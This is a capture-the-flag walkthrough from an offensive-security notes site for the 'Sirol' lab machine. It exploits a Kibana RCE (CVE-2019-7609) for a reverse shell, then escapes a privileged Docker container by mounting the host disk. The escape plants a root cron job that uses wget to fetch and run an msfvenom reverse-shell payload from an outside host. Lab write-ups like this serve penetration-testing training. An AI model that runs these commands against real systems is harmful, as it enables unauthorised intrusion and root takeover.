> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/try-harder/sirol.md). # Sirol ### Enumeration ``` 5601/tcp open esmagent? ``` - kibana 6.5.0 ### Initial Access There was a RCE vulnerability in 2019 for Kibana versions < 6.6.0 ``` $ python CVE-2019-7609-kibana-rce.py -u http://192.168.94.54:5601 -host 192.168.49.94 -port 80 --shell ``` ### PrivEsc Looks like, we are in a container. Well configured docker containers won't allow command like `fdisk -l`. However on miss-configured docker command where the flag `--privileged` is specified, it is possible to get the privileges to see the host drive. ``` root@0873e8062560:/# fdisk -l fdisk -l Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x16939df4 Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 37750783 37748736 18G 83 Linux /dev/sda2 37752830 41940991 4188162 2G 5 Extended /dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris ``` ``` mkdir -p /mnt/root mount /dev/sda1 /mnt/root ``` We can access the filesystem of the host via /mnt/root directory. Once the volume is mounted, we can create a cron job. To get root shell. ``` $ msfvenom -p linux/x64/shell_reverse_tcp -f elf -o shell LHOST=192.168.1.1 LPORT=80 echo '* * * * * root /bin/bash -c "/usr/bin/wget http://192.168.1.1/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell"' > /mnt/root/snaps/gcron_enabled ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/try-harder/sirol.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.